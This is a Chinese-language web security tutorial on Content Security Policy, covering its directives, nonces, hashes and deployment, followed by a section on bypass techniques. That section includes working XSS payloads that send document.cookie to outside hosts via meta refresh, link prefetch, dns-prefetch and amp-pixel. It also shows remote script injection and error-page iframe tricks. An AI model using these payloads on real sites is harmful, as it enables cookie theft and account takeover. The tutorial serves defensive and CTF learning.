Web安全從零開始 XSS III
這是自己寫的 Web 安全從零開始系列之 XSS 篇。第三篇講解 CSP 與 XSS
[TOC]
CSP(Content Security Policy)
介紹
CSP 全稱為 Content Security Policy,即內容安全策略。主要以白名單的形式配置可信任的內容來源,在網頁中,能夠使白名單中的內容正常執行(包含 JS,CSS,Image 等等),而非白名單的內容無法正常執行,從而 減少跨站指令碼攻擊(XSS ),當然,也能夠 減少運營商劫持的內容注入攻擊 。
為使CSP可用, 你需要配置你的網路伺服器返回 Content-Security-Policy
HTTP頭部 ( 有時你會看到一些關於 X-Content-Security-Policy
頭部的提法, 那是舊版本,你無須再如此指定它)。
除此之外, <meta>
元素也可以被用來配置該策略, 例如
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
語法組成
策略組成
CSP 有兩種策略型別:
- Content-Security-Policy
- Content-Security-Policy-Report-Only
這兩種策略型別的主要區別也可以從命名上看出,第一種對不安全的資源會進行阻止執行,而第二種只會進行資料上報,不會有實際的阻止。
當定義多個策略的時候,瀏覽器會優先採用最先定義的。
指令集合
CSP 的指令是組成內容來源白名單的關鍵,上面兩種策略型別含有以下眾多指令,可以通過搭配得到滿足網站資源來源的白名單。
指令示例及說明
指令 | 取值示例 | 說明 |
---|---|---|
default-src | ‘self’ cdn.example.com | 定義針對所有型別(js/image/css/web font/ajax/iframe/多媒體等)資源的預設載入策略,某型別資源如果沒有單獨定義策略,就使用預設。 |
script-src | ‘self’ js.example.com | 定義針對JavaScript的載入策略 |
object-src | ‘self’ | 針對 <object> / <embed> / <applet> 等標籤的載入策略 |
style-src | ‘self’ css.example.com | 定義針對樣式的載入策略 |
img-src | ‘self’ image.example.com | 定義針對圖片的載入策略 |
media-src | ‘media.example.com’ | 針對或者引入的html多媒體等標籤的載入策略 |
frame-src | ‘self’ | 針對iframe的載入策略 |
connect-src | ‘self’ | 針對Ajax、WebSocket等請求的載入策略。不允許的情況下,瀏覽器會模擬一個狀態為400的響應 |
font-src | font.qq.com | 針對Web Font的載入策略 |
sandbox | allow-forms allow-scripts | 對請求的資源啟用sandbox |
report-uri | /some-report-uri | 告訴瀏覽器如果請求的資源不被策略允許時,往哪個地址提交日誌資訊。不阻止任何內容,可以改用Content-Security-Policy-Report-Only頭 |
base-uri | ‘self’ | 限制當前頁面的url(CSP2) |
child-src | ‘self’ | 限制子視窗的源(iframe、彈窗等),取代frame-src(CSP2) |
form-action | ‘self’ | 限制表單能夠提交到的源(CSP2) |
frame-ancestors | ‘none’ | 限制了當前頁面可以被哪些頁面以iframe,frame,object等方式載入(CSP2) |
plugin-types | application/pdf | 限制外掛的型別(CSP2) |
指令值示例及說明
指令值 | 示例 | 說明 |
---|---|---|
* | img-src * | 允許任何內容 |
‘none’ | img-src ‘none’ | 不允許任何內容 |
‘self’ | img-src ‘self’ | 允許同源內容 |
data: | img-src data: | 允許data:協議(如base64編碼的圖片) |
www.a.com | img-src www.a.com | 允許載入指定域名的資源 |
*.a.com | img-src *.a.com | 允許載入a.com任何子域的資源 |
https://img.com | img-src https://img.com | 允許載入img.com的https資源 |
https: | img-src https: | 允許載入https資源 |
‘unsafe-inline’ | script-src ‘unsafe-inline’ | 允許載入inline資源(style屬性,onclick,inline js和inline css等等) |
‘unsafe-eval’ | script-src ‘unsafe-eval’ | 允許載入動態js程式碼,例如eval() |
script-src
有幾個特性:
- ‘unsafe-inline’ :允許執行頁面內嵌的
<script>
標籤和事件監聽函式 - unsafe-eval :允許將字串當作程式碼執行,比如使用
eval
、setTimeout
、setInterval
和Function
等函式。 - nonce值 :每次HTTP迴應給出一個授權token,頁面內嵌指令碼必須有這個token,才會執行
- hash值 :列出允許執行的指令碼程式碼的Hash值,頁面內嵌指令碼的雜湊值只有吻合的情況下,才能執行。
頁面內嵌指令碼,必須有這個token才能執行。
<script nonce=EDNnf03nceIOfn39fn3e9h3sdfa> // some code </script>
hash值的例子如下,伺服器給出一個允許執行的程式碼的hash值。
Content-Security-Policy: script-src 'sha256-qznLcsROx4GACP2dm0UCKCzCG-HiZ1guq6ZZDob_Tng='
下面的程式碼就會允許執行,因為hash值相符。
<script>alert('Hello, world.');</script>
這裡可以用以下命令得到這段 hash
$ echo -n "alert('Hello, world.');" | openssl dgst -binary -sha256 | openssl base64 qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng=
使用方式
HTML Meta 標籤
在這種形式中,Meta 標籤主要含有兩部分的 key-value:
- http-equiv
- content
http-equiv 的 value 為 CSP 的策略型別,而 content 則是宣告指令集合,即白名單。如
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
在HTML 的 head 中 新增上面的 Meta 標籤,那麼當瀏覽器支援 CSP 標準時,由於使用的是 Content-Security-Policy 實際阻止的策略,所以將會使得非同源的 script(根據指令集合來定)不會被載入及執行。
Meta 標籤的 Content-Security-Policy-Report-Only 方式在當前(2016/5/19)多數移動端瀏覽器上表現正常,但是 不推薦 這樣做,如 chrome 50 會產生如下的提示
The report-only Content Security Policy xxxxxxx was delivered via a element,which is disallowed. The policy has been ignored.
HTTP Header
通過 Meta 的方式很是簡單,但當涉及到的頁面較多時,使用 Meta 標籤的方式需要在每個頁面都各自加上。而如果通過服務端配置 HTML 返回的響應頭 HTTP header 帶上 CSP 的指令的話,那將能夠一勞永逸,同時支援多個頁面。下圖為響應頭
不僅如此,這種形式的 Content-Security-Policy-Report-Only 方式能夠得到更好的相容支援,也是推薦方式。
繞過方式
建議參考 CSP Level 3淺析&簡單的bypass ,這裡我們簡述幾種情況下的繞過方式
url 跳轉
在 default-src 'none'
的情況下,可以使用 <meta>
標籤實現跳轉
<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >
在允許 unsafe-inline
的情況下,可以用 window.location
,或者 window.open
之類的方法進行跳轉繞過。
\標籤預載入
prefetch
CSP對link標籤的預載入功能考慮不完善,一般是通過 link 標籤來實現預載入的指令
在 Chrome 下,可以使用如下標籤傳送 cookie(最新版Chrome會禁止)
<link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]">
雖然在標籤內不能拿 cookie ,但是如果可以執行內聯 js 的話,情況就不一樣了
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
如果頭像上面那樣的話,我們可以用以下 payload
<script> var i=document.createElement('link'); i.setAttribute('rel','prefetch'); i.setAttribute('href','http://xxx.com?'+document.cookie); document.head.appendChild(i); </script>
dns-prefetch
在 Firefox 下,可以將 cookie 作為子域名,用 dns 預解析的方式把 cookie 帶出去,檢視dns伺服器的日誌就能得到 cookie
<link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">
同樣想要在
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
這種情況下收穫 Cookie 的話
<script> dcl = document.cookie.split(";"); n0 = document.getElementsByTagName("HEAD")[0]; for (var i=0; i<dcl.length;i++) { console.log(dcl[i]); n0.innerHTML = n0.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + '.' + location.hostname.replace(/\./g, "-") +".xxxx.ceye.io\">"; } </script>
因為域名的命名規則是 [.-a-zA-Z0-9]+,所以需要對一些特殊字元進行替換
preconnect
preconnect(預連線),與 DNS預解析 類似,但它不僅完成 DNS 預解析,還進行 TCP 握手和 TLS 協商
利用方式和上面類似
利用瀏覽器補全
有些網站限制只有某些指令碼才能使用,往往會使用 <script>
標籤的 nonce 屬性,只有 nonce 一致的指令碼才生效,比如 CSP 設定成下面這樣:
Content-Security-Policy: default-src 'none';script-src 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa'
那麼當指令碼插入點為如下的情況時
<p>插入點</p> <script id="aa" nonce="abc">document.write('CSP');</script>
可以插入
<script src=//14.rs a="
這樣會拼成一個新的script標籤,其中的src可以自由設定
<p><script src=//14.rs a="</p> <script id="aa" nonce="EDNnf03nceIOfn39fn3e9h3sdfa">document.write('CSP');</script>
程式碼重用
例如假設頁面中使用了 Jquery-mobile 庫,並且CSP策略中包含 script-src 'unsafe-eval'
或者 script-src 'strict-dynamic'
,那麼下面的向量就可以繞過CSP:
<div data-role=popup id='<script>alert(1)</script>'></div>
在這個PPT之外的還有一些庫也可以被利用,例如RCTF2018中遇到的amp庫,下面的標籤可以獲取名字為FLAG的cookie
<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>
iframe
如果頁面A中有CSP限制,但是頁面B中沒有,同時A和B同源,那麼就可以在A頁面中包含B頁面來繞過CSP:
<iframe src="B"></iframe>
在Chrome下,iframe標籤支援csp屬性,這有時候可以用來繞過一些防禦,例如” http://xxx “頁面有個js庫會過濾XSS向量,我們就可以使用csp屬性來禁掉這個js庫。
<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>
meta
meta 標籤有一些不常用的功能有時候有奇效:
meta 可以控制快取(在header沒有設定的情況下),有時候可以用來繞過CSP nonce。
<meta http-equiv="cache-control" content="public">
meta可以設定Cookie(Firefox下),可以結合 self-xss 利用。
<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">
Examples
Example 1、2 可以參考 Neatly bypassing CSP
Example 1
假設伺服器設定了以下 CSP 策略
<meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline'">
設定了允許同源與 inline 資源,來自外部源的所有內容會被攔截,其中包括影象、CSS、websockets,尤其是 JS 程式碼。
顯然如果我們直接用以下程式碼是肯定會被 CSP 攔截的
<script> frame=document.createElement("iframe"); frame.src="//bo0om.ru/csp.js"; document.body.appendChild(frame); </script>
但是我們需要知道一點
Most of the modern browser automatically convert files, such as text files or images, to an HTML page. The reason for this behavior is to correctly depict the content in the browser window; it needs to have the right background, be centered and so on. However, iframe is also a browser window!. Thus, opening any file that needs to shown in a browser in an iframe (i.e. favicon.ico or robots.txt) will immediately convert them into HTML without any data validation as long as the content-type is right.
怎麼說呢,比如我們先隨便建立一個 html 檔案,程式碼如下
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Document</title> <meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline'"> </head> <body> <script> frame=document.createElement("iframe"); frame.src="./bootstrap.min.css"; document.body.appendChild(frame); </script> </body> </html>
當前目錄下隨便放置一個檔案提供引入即可,然後我們可以發現 iframe
當中其實就是個 html 頁面
然後我們嘗試對其進行修改
window.frames[0].document.head.innerHTML = "hasaki!";
我們就可以在 iframe
的頁面中發現 <head>
標籤內容已經被我們改成了 hasaki!
做到這裡,我們基本可以想到,如果我們引用的是一個沒有 CSP 策略的地址含有惡意的 js 程式碼會怎麼樣呢?我們可以試一下
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Document</title> <meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline'"> </head> <body> <script> f=document.createElement("iframe"); f.id="pwn"; f.src="/robots.txt"; f.onload=()=>{ x=document.createElement('script'); x.src='//bo0om.ru/csp.js'; pwn.contentWindow.document.body.appendChild(x) }; document.body.appendChild(f); </script> </body> </html>
Csp.js 中的程式碼為
alert('Wow! Origin: '+location.origin+'\nUrl: '+top.location.href+'?');
可以發現執行了 javascript 程式碼
Example 2
講例2之前我們先來看一個 HTTP 頭中的 X-Frame-Options
欄位
X-Frame-Options HTTP 響應頭是用來給瀏覽器指示允許一個頁面可否在 <frame>
, <iframe>
或者 <object>
中展現的標記。網站可以使用此功能,來確保自己網站的內容沒有被嵌到別人的網站中去,也從而避免了點選劫持 (clickjacking) 的攻擊。
X-Frame-Options 有三個值:
-
DENY
表示該頁面不允許在 frame 中展示,即便是在相同域名的頁面中巢狀也不允許。
-
SAMEORIGIN
表示該頁面可以在相同域名頁面的 frame 中展示。
-
ALLOW-FROM *uri*
表示該頁面可以在指定來源的 frame 中展示。
換一句話說,如果設定為 DENY
,不光在別人的網站 frame
嵌入時會無法載入,在同域名頁面中同樣會無法載入。另一方面,如果設定為 SAMEORIGIN
,那麼頁面就可以在同域名頁面的 frame
中巢狀。
如果那個頁面配置了 X-Frame-Options: Deny
的話,如果我們還用例1的方法,我們就不能通過這個頁面來使用例1的方法,那如果我們只能用這個頁面有什麼方法呢?
我們還是在之前的 CSP 策略下
<meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline'">
一般來說很多開發人員只在頁面響應碼為 200 時增加了 X-Frame-Options
,而一般錯誤頁面被認為是可以不那麼關注的頁面,畢竟只是靜態頁面,不會有什麼太多的問題,所以一般錯誤頁面不會被設定 X-Frame-Options
欄位,檢測方法也很簡單,開啟一個 404 頁面檢視有沒有設定該請求頭就可以了。
鑑於此,我們還可以設法讓網站返回錯誤頁面。例如,為了強制 NGINX 返回 400 bad request
,你唯一需要做的,就是使用 /../
訪問其上一級路徑中的資源。為防止瀏覽器對請求進行規範化處理,導致 /../
被 /
所替換,對於中間的兩個點號和最後一個斜線,我們可以使用 unicode 碼來表示。也可以使用不正確的 unicode 路徑,如 /%z
或 /%%z
。
frame=document.createElement("iframe"); frame.src="/%2e%2e%2f"; document.body.appendChild(frame);
當然,如果以上不可用的話,我們可以利用比較簡單也比較普遍的另一種方法,就是讓 URL 超過所允許的長度。大多數現代瀏覽器都可以傳送一個比 Web 伺服器可以處理的長得多的 URL 。這樣返回狀態為 414 Request-URI Too Large
例如, NGINX 和 Apache 等 Web 伺服器的預設 URL 長度通常被設定為不超過 8KB 。可以使用如下 payload:
frame=document.createElement("iframe"); frame.src="/"+"A".repeat(20000); document.body.appendChild(frame);
也可以使用超長的 cookie 來使伺服器返回錯誤
<script> for(var i=0;i<5;i++){ document.cookie=i+"="+"a".repeat(4000) }; f=document.createElement("iframe"); f.id="pwn"; f.src="/"; f.onload=()=>{ for(var i=0;i<5;i++){ document.cookie=i+"=" }; x=document.createElement('script'); x.src='data:,alert("Pwned "+top.secret.textContent)'; pwn.contentWindow.document.body.appendChild(x) }; document.body.appendChild(f); </script>
也可以傳送一個過長的 POST 請求,或者以某種方式引發 Web 伺服器的500錯誤。